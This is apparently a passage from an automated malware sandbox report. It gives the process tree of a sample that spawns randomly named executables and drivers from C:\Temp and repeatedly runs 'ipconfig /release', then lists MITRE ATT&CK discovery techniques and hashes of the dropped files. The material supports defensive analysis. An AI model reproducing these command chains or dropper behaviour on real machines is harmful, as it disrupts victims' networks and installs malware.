    C:\Temp\i_xrpmhfzwur.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5252
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\rojhbztrmj.exe ups_run
  2⤵
  PID:4696
- - C:\Temp\rojhbztrmj.exe
    C:\Temp\rojhbztrmj.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6688
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2448
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4232
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_rojhbztrmj.exe ups_ins
  2⤵
  PID:432
- - C:\Temp\i_rojhbztrmj.exe
    C:\Temp\i_rojhbztrmj.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6588
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\geyojgbztr.exe ups_run
  2⤵
  PID:5044
- - C:\Temp\geyojgbztr.exe
    C:\Temp\geyojgbztr.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1120
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5004
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5832
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_geyojgbztr.exe ups_ins
  2⤵
  PID:5316
- - C:\Temp\i_geyojgbztr.exe
    C:\Temp\i_geyojgbztr.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6836
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ebwtoljgby.exe ups_run
  2⤵
  PID:204
- - C:\Temp\ebwtoljgby.exe
    C:\Temp\ebwtoljgby.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4860
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3504
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4152
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ebwtoljgby.exe ups_ins
  2⤵
  PID:6216
- - C:\Temp\i_ebwtoljgby.exe
    C:\Temp\i_ebwtoljgby.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6152
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\avsqoigdyw.exe ups_run
  2⤵
  PID:5340
- - C:\Temp\avsqoigdyw.exe
    C:\Temp\avsqoigdyw.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:260
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1968
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:6960
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_avsqoigdyw.exe ups_ins
  2⤵
  PID:5856
- - C:\Temp\i_avsqoigdyw.exe
    C:\Temp\i_avsqoigdyw.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6928
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\avsnkicavs.exe ups_run
  2⤵
  PID:5780
- - C:\Temp\avsnkicavs.exe
    C:\Temp\avsnkicavs.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3032
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4644
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2524
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_avsnkicavs.exe ups_ins
  2⤵
  PID:6080
- - C:\Temp\i_avsnkicavs.exe
    C:\Temp\i_avsnkicavs.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5916
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\axsqkicavk.exe ups_run
  2⤵
  PID:4300
- - C:\Temp\axsqkicavk.exe
    C:\Temp\axsqkicavk.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3612
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5956
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5448
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_axsqkicavk.exe ups_ins
  2⤵
  PID:2328
- - C:\Temp\i_axsqkicavk.exe
    C:\Temp\i_axsqkicavk.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:408
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\nhfcxusmkf.exe ups_run
  2⤵
  PID:3388
- - C:\Temp\nhfcxusmkf.exe
    C:\Temp\nhfcxusmkf.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3948
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3236
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:6480
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_nhfcxusmkf.exe ups_ins
  2⤵
  PID:5984
- - C:\Temp\i_nhfcxusmkf.exe
    C:\Temp\i_nhfcxusmkf.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5628

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:6048

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3124

C:\Temp\nkicavsnki.sys
C:\Temp\nkicavsnki.sys
1⤵
- Executes dropped EXE
PID:2868

C:\Temp\fcxusnkfdx.sys
C:\Temp\fcxusnkfdx.sys
1⤵
- Executes dropped EXE
PID:2168

C:\Temp\causmkecwu.sys
C:\Temp\causmkecwu.sys
1⤵
- Executes dropped EXE
PID:6888

C:\Temp\keczurpjhe.sys
C:\Temp\keczurpjhe.sys
1⤵
- Executes dropped EXE
PID:5180

C:\Temp\ztrljdbwto.sys
C:\Temp\ztrljdbwto.sys
1⤵
- Executes dropped EXE
PID:4324

C:\Temp\jebztqomjd.sys
C:\Temp\jebztqomjd.sys
1⤵
- Executes dropped EXE
PID:5944

C:\Temp\qnljgbytql.sys
C:\Temp\qnljgbytql.sys
1⤵
- Executes dropped EXE
PID:4704

C:\Temp\fdxvqnifdb.sys
C:\Temp\fdxvqnifdb.sys
1⤵
- Executes dropped EXE
PID:6556

C:\Temp\vqkicaysqk.sys
C:\Temp\vqkicaysqk.sys
1⤵
- Executes dropped EXE
PID:3432

C:\Temp\snkifaxvsq.sys
C:\Temp\snkifaxvsq.sys
1⤵
- Executes dropped EXE
PID:200

C:\Temp\zusmkecxup.sys
C:\Temp\zusmkecxup.sys
1⤵
PID:2888

C:\Temp\zurmjhfzxr.sys
C:\Temp\zurmjhfzxr.sys
1⤵
PID:5504

C:\Temp\rmjhbztrmj.sys
C:\Temp\rmjhbztrmj.sys
1⤵
PID:6480

C:\Temp\bzwrojgezw.sys
C:\Temp\bzwrojgezw.sys
1⤵
PID:4936

C:\Temp\eywtoljdbv.sys
C:\Temp\eywtoljdbv.sys
1⤵
PID:6220

C:\Temp\jdbvtnlfdy.sys
C:\Temp\jdbvtnlfdy.sys
1⤵
PID:108

C:\Temp\lfdyvqoigs.sys
C:\Temp\lfdyvqoigs.sys
1⤵
PID:2736

C:\Temp\caxsqkicav.sys
C:\Temp\caxsqkicav.sys
1⤵
PID:4256

C:\Temp\pnhfzxspki.sys
C:\Temp\pnhfzxspki.sys
1⤵
PID:1620

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CP.exe

Path C:\Temp\CP.exe
Size 4KB
SHA256 50b00a0816849edcc24eec9cfdd5443dbf33409ae05ee84202bfbcd00094485a
MD5 00d08d31f0ca0be125aa8ddb1c068a26
SHA1 c5e5cf5c0cb8a03c9146f5cd923cd620417eb75e
SHA512 6b5fe5899aa47239b53bc8dbd5ce6d9616ed2b0480fe55c34c27d6956f792a9c0796fe0dcd8949395284c3f5c59563efe333cc3e4e449fa9e9b7c219c88242a3
SSDEEP 48:i+HOtYCgTU534sKXG5BrBfdQSBe2nLB8JsU:fOWS3tpJ5un
TLSH
T11B912E2301A68472C8BD8FF711875AC9FABB51349322210C4BF70ED6EB70AB7446CB08
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

aupmkfcxup.exe

Path C:\Temp\aupmkfcxup.exe
Size 230KB
SHA256 e0da26170450ef7f24ec9a61e426d78362e0640cd11bd7e47ea721ed6b4745bb
MD5 f0802b2af085197bdea35fe50573fb86
SHA1 816751511797fa6b49cca762ae1c1ee73abc8b9d
SHA512 cdd7f90c5bbfda1406e1b84623c7de34e7e852ec15731d1049805bdf8397624c26cb223dcc59dc4597851bf1d6eff7bc8282d7e9431667543fddd32cc23be7eb
SSDEEP 3072:KJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:KghLQ0sQmpcF8BzXfwVfAI
TLSH
T19F344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

causmkecwu.sys

Path C:\Temp\causmkecwu.sys
Size 141KB
SHA256 39e3df8ddc4d1d08ba775eea3caebbd8baa8b03d0764266df80ab60b63cde6f3
MD5 77d7a080513aa57a9016031199495d54
SHA1 0efab5dff828ee7f35a2268ff9bbd5b58885d9c4
SHA512 dd5e85f4f9089642aa1d871d3491a7214f8113e0e534f508b6a49814df782c1b6e4d6342c9435a1790b8b1a573efca1037a329baa5ba3cd8981441ea877e32bc
SSDEEP 3072:5sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:5sQmpcF8BzXfwV
TLSH
T1EAE38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B93531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ecwuomkezw.exe

Path C:\Temp\ecwuomkezw.exe
Size 230KB
SHA256 2b67a9adb6f5d94e360da1d930679463f5baf78c6144d9667e7bdc706ac69cf3
MD5 3ca67b8e5e4d72569270bd54bf0b2ebd
SHA1 67c7b625021246f2e96bfc2b6190622260764035
SHA512 66f6789268884be820c1ae23d6cb1994a5c664db789723766abc99fba29371133d39bc4e884f57834a9cb64ffd5be72eb40d95bbab1170c434ad05caeede72da
SSDEEP 3072:lJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:lghLQ0sQmpcF8BzXfwVfAI
TLSH
T12A344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fcxusnkfdx.sys

Path C:\Temp\fcxusnkfdx.sys
Size 141KB
SHA256 6fee68e9dfc39d727ff5bf67e9ef426941d7beea905769427a5944ac6ec6ce07
MD5 74981ffc85bad80b26074e2bdc6917ea
SHA1 5134efa0a9d3f0859ab91e0e5f90ab9cfe431a58
SHA512 9b37739df7c006900b1abc432ce10e03b3bb40d7967b78a20125f482018d68d77297a259d5486622647b64bd25f4761b48fb46d4ccf31998b3dc74b47e4d761f
SSDEEP 3072:asQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:asQmpcF8BzXfwV
TLSH
T1E0E38D12B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hfaxvpnhfc.exe

Path C:\Temp\hfaxvpnhfc.exe
Size 230KB
SHA256 8254555aefc7f8cc6fecb715dae62b2ca9a382457dcd68cdd50dde9f10cf6179
MD5 85dc45016cdbb1a0d8b9b634516f9d0d
SHA1 a20159ed8a2da3001b20cebd5a74bb6afcedeb15
SHA512 8534b045efb85d9b3b2073c887628781d340cbc85ea667ad204bb1d003b260bf89fdc38428313d09a4d20a0f0a67d11e52a061b4dfebdf86d1c5168168ab3ff8
SSDEEP 3072:zJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:zghLQ0sQmpcF8BzXfwVfAI
TLSH
T13F344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_aupmkfcxup.exe

Path C:\Temp\i_aupmkfcxup.exe
Size 230KB
SHA256 6850b38cb5920dfccb466c8bcd8ca2eef9e1e868dc4263d02c3bf1e3e54ca4a0
MD5 19a3261e4426014ed6998a36669c97fc
SHA1 8c54cce956c5374eaacfc12196d62e95ebb562b5
SHA512 561fd708e855aa2245efd5798cd29eb9c645b01891d14b55ec4357f0bc647cf63f113a1ca507dbebdecc1a3a313e70f309b8f9ec9cbafafbaef050c64a87703e
SSDEEP 3072:YJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:YghLQ0sQmpcF8BzXfwVfAI
TLSH
T10D344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_ecwuomkezw.exe

Path C:\Temp\i_ecwuomkezw.exe
Size 230KB
SHA256 903ee04ef12103c3a2b0cd91aa9e869dc5562149f4141cadf161ce76726622cd
MD5 df90e784f5ac34e13b6e35d903012dd3
SHA1 ad2d6724b3264ea469c78fc0d47424cec1b9ed98
SHA512 6b81aa514e8edbfb94508e288d9f71cc83960b221213b7ea8fabb15dead1419a693a1b35eea5f5517eaf6d5575010e0bc97701ae853f8633a3d34d2db2563795
SSDEEP 3072:PJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:PghLQ0sQmpcF8BzXfwVfAI
TLSH
T155344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_hfaxvpnhfc.exe

Path C:\Temp\i_hfaxvpnhfc.exe
Size 230KB
SHA256 d132fb26ab30309501b246b1027644108257ed859e56fcb9b251df77265e153b
MD5 681c37197272419c59ad4f8a94f18b23
SHA1 10c1d16ebf4f359053c77a6d4f4408295745c485
SHA512 774969314ff49edb0b8219537b431f6c8b0fc0c40578214e3c6128203457bd4d6087617b45fe19ca3e663d0fb56976f727c36e6d0cc14cad093fa41742452722
SSDEEP 3072:kJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:kghLQ0sQmpcF8BzXfwVfAI
TLSH
T1F0344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_nkfdxvqlga.exe

Path C:\Temp\i_nkfdxvqlga.exe
Size 230KB
SHA256 d27b09a37dbf433b6dfbe03ac75bf86ec5d8e23c4e74227e55e6c96c073a6fef
MD5 bc208a00000499d8373e4eaf54e54e6c
SHA1 b4101d05b8f6c5b5ad9e8559f9e834bd4ed1058a
SHA512 aa23c2e7c1f383936ee9dea57d005bdaa2b09e8f4b9398e58adafe06b7a6d40abbc25384e13dce9fd36eae2a36f0f035b466e7e498385bfb05c34b6bded6b40d
SSDEEP 3072:sJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:sghLQ0sQmpcF8BzXfwVfAI
TLSH
T1C2344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_ywrojgbztr.exe

Path C:\Temp\i_ywrojgbztr.exe
Size 230KB
SHA256 8161e557b5cb83dff0b8bd57516a52180439cee43e99ac45b01a3bb1c97924a6
MD5 edd49edbf2d2e809db545d1220d28551
SHA1 164c39f63c15030f0fcba5795c6e44a37c64d7a2
SHA512 999ca72d782c5939bf2cec167706d2d49092a4b5384fa716a715640bb37f07e17def3e61483adac58d89bd46ba93a66324f6eea555e9da5c4b4c5acb988a07a7
SSDEEP 3072:iJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:ighLQ0sQmpcF8BzXfwVfAI
TLSH
T1DA344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_zxupmkeczx.exe

Path C:\Temp\i_zxupmkeczx.exe
Size 230KB
SHA256 10b297f88c45ce5971e9272f4b45029f221e687215b3e0e5fb53c7f44d28e6ef
MD5 e2f27fbb22ecc9ca586eff9b06ae5423
SHA1 77820ac0a1c70217d45a9b5ffe3bcce43d47943c
SHA512 97dda8ec64258825ffd65c015efad2f4a971e7700a885bd296a6ddc4df3b05ee1db9108e0fa1b4f214d1f2b376e6a527ff47df4a16ad914086081929fec7e69e
SSDEEP 3072:fJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:fghLQ0sQmpcF8BzXfwVfAI
TLSH
T1A1344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jebztqomjd.sys

Path C:\Temp\jebztqomjd.sys
Size 141KB
SHA256 7a90965567481f7145fe58e6a0679c3cc95f0bd99f10891737273624718aee55
MD5 9a7925ff4b559ab5e1162beec4686b3e
SHA1 812381bc224e0cc3f40e06d0b01eb2100ccb0f83
SHA512 bcfc119e3e7378d62201d4cf0b667db955657751927d6460c3fe11b731001764412859d4c67d9c4931988d4ce8d5e89f7a3953c2aa086b61077d6920c23047c6
SSDEEP 3072:NsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:NsQmpcF8BzXfwV
TLSH
T15EE38D12B2D1D172E8A618BC106AC72196BE79304F76D9C3FB940BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

keczurpjhe.sys

Path C:\Temp\keczurpjhe.sys
Size 141KB
SHA256 f466050eadef115f15f61bf86e7cfa58cf5733a02d6f2bd4f89264c1a8d0990e
MD5 789ec096f17cb49270cbe9282abe1fe7
SHA1 63fa81c52e30b737d2c87ef4d727c8c5a187a0c4
SHA512 ce7162448099f0051f2dcf2fb21cee8e72c3d5065842387136b387746dd61066d9221c0d3a3793fbb1a8bc33aac8533e7d50497eda8bea5ef732a04b363e269d
SSDEEP 3072:ksQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:ksQmpcF8BzXfwV
TLSH
T1CBE38D12B2D1D172E8A618BC106AC72196BE79304F76D9C3FB940BAD5E683D0B93531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nkfdxvqlga.exe

Path C:\Temp\nkfdxvqlga.exe
Size 230KB
SHA256 677244d16098ce107c8d289adfc8392d93c1e254264626752d6ab39fe9756a1b
MD5 b944b2d7e7b8a58266fb5367e4cb66eb
SHA1 871f8beb1f3e665bf233606126b94c51e63f4175
SHA512 5d4c9cd1c1234fec880cf580ae3b13929d1b883e694defc54ec628a9782436574effccd88c28450ab418d820b22ca9799cbe8abeb9747106bef3d1871557192a
SSDEEP 3072:cJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:cghLQ0sQmpcF8BzXfwVfAI
TLSH
T1C7344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nkicavsnki.sys

Path C:\Temp\nkicavsnki.sys
Size 141KB
SHA256 098042d55349bbd8f30899b9dfce119d68b53d88f9fe1468b4389071b6366179
MD5 49655b2fec2836a2a74534fd297a3769
SHA1 55bfcf7df867368bec89c45f44a394cf081e8a34
SHA512 1f39ce7bc50d3a07bd764176d015649d2d0b324db603ea365a0863e28bfbbb86822728371f515a56b2f3ade1b64fbcc033d2535f0d6c32a45041974c9accbbda
SSDEEP 3072:FsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:FsQmpcF8BzXfwV
TLSH
T12DE38D12B2D1D172E8A618BC106AC72186BE79304F76D9C3FB940BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ywrojgbztr.exe

Path C:\Temp\ywrojgbztr.exe
Size 230KB
SHA256 e815879a611e30296ee393da2a0aad40c360b4e3fb10f6fd5387199d87fd524a
MD5 16e1517406578c339d8a610c5be57e16
SHA1 30b0d2b4b99eee993273a912d0f603118081a72c
SHA512 7fd3bbce36ff9678b9e79b5d01cd77741bb1ea74fb64dcb6ff86b19d60dd06c66978a4ffa31b377045839b0732306727eeb8a73521f48f5e1a8ef4dd27096901
SSDEEP 3072:eJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:eghLQ0sQmpcF8BzXfwVfAI
TLSH
T158344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ztrljdbwto.sys

Path C:\Temp\ztrljdbwto.sys
Size 141KB
SHA256 0bc2141053b653e86a7d7b6289ee381b8d2cc618292dc570077a13c360b63d8c
MD5 0ed7072fdb9887415c07e9d82305f92e
SHA1 2f59da9460814e8ef93169f20aa3431e4216c539
SHA512 f92dd3d8999965e5191a447cfefb53457e798c1e1561124ace9bb581e164cdaadf2760b481775065ed8a6a4474e11bcec230810b7c287c94b5da4a3710a97a3c
SSDEEP 3072:DsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:DsQmpcF8BzXfwV
TLSH
T1EFE38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB940BAD5E683D0B93531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zxupmkeczx.exe

Path C:\Temp\zxupmkeczx.exe
Size 230KB
SHA256 ca0a78d55c1a66829401becc39501e3c8c672bc50847899c8e8b34282edbe650
MD5 5ff11529494ebb0a91e995448e565e39
SHA1 9d12af8a0d3e28c787fba6b1719cfc9877b8e1cc
SHA512 6f9ac53dfa1d8897ce0bb8955a29c46bb9ac279acf1a4f2dc17aa674dd0c30d82a61620d9ca605b47d33fe5416be2390839c9b6b5a417edeb83713648fc3fbda
SSDEEP 3072:lJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:lghLQ0sQmpcF8BzXfwVfAI
TLSH
T1F8344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ba1406dd0117e6bb02a18e1f0ca40a20fdf33f68d611dcf6b59a242ae289374a
MD5 8a26ea5cde92773cb558eb116e113216
SHA1 2f807e9fd5e13c4ff550fceca7d90f11683ae33e
SHA512 dca9db1a71d0ad99193f78ee9f9221519b875eb1beb13ebfbd9d64a1b449eb8a027a5b2ceadf9158001b4548f036b26ed4f2c36ce3e8b981af5a54590c0e94a5
TLSH
T1B8D0C030B7286803D5141931D022CB007A17002321BBD1025160C00C2C3BCB163CA141
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 e9e31f5fb014f6a7439a4e224bdae6d3d8b22db7c287d9c004b0184cc18e6bf8
MD5 00fe8112e1beaff1b09c3e772b0b70e6
SHA1 1d234f4d61d2fe0153bb63a7a246d37e6fc0aabe
SHA512 aaafc34862d38399e66858477aa9d3d624e9e071371fe2961aac0159845c41dbe1ed0ae62f8b9c52f327e4e4a97abdaf614ae741bcfd2627ec55b1d4f6fb6d74
TLSH
T1EAD08071B7286847D9551931D432CB017A57546365BAD1025160410C6C7BDB553CA155
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 649B
SHA256 b03dc54dd150a0bb0a334e29b2172b377ce549eca54a60748eec312d2cfe9909
MD5 a64acac6bdc7b2112c148c525e357ef1
SHA1 785e613e727087600cd530ffffa9ee95d3b1fc79
SHA512 67aab840814b23e56b7db1c95fc6bdceed24521cad3c69d04c08fb1e87c25fe6dc15be312f6bf1b607698c50a22225c481b45ed38ddab451d0b23594a7601b97
TLSH
T1ADF0CDA6D921BC3719FC1B1860944B4BE791135B3B41989B3B3D921C4FB567B464681C
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

828173e4-bc55-4ece-a38b-2d3f1c0aec08.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\828173e4-bc55-4ece-a38b-2d3f1c0aec08.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

9449b850-0d58-4c18-af0d-269e406d9de0.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\9449b850-0d58-4c18-af0d-269e406d9de0.tmp
Size 2KB
SHA256 5f548921494020ded2106a1fed86e21038d455990ec8c83f15586c35f22f3ae8
MD5 698e15be491fa86134474c7cf48b2cfa
SHA1 af2403f3868a420a5787d0dfbc71526bc4201e70
SHA512 f29c1234da74c08b5ac86902ab4fe13181c22dcd5c226ba07d2568d707ca1c2df06a9abdb21f08a71a4bf057054f1fe75e4f2b3602307174b99b926b41c10b3a
TLSH
T13651AEF7C3E4856EC91196F0EB18BE2BCE2D0914432C3D5A89E4AE5B93E3471E141A5F
MD5 SHA1 SHA512 TLSH

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 ae0f119f938f57a8409ec50386333abc7c5c338c52806cb3916f846adda4df02
MD5 7682f70cef47e02afa13824b0408a2d8
SHA1 2fae8d0d479dd38e1c45b5fe9c8536b55cc37c1e
SHA512 ab8b1af42e204560a53ce2f4ee2272fb6f4a3f9d3e410b9f043e10e955ef52f542be7269aaf84d6ac53d67d01a74d594df75a740ddbef59c104158cc7a98faa8
SSDEEP 384:sxRzz8Q/frsLadN/RIEKB/5tfWxMsGQMjy:s3QQ/fuiWD/5xWxMsGQX
TLSH
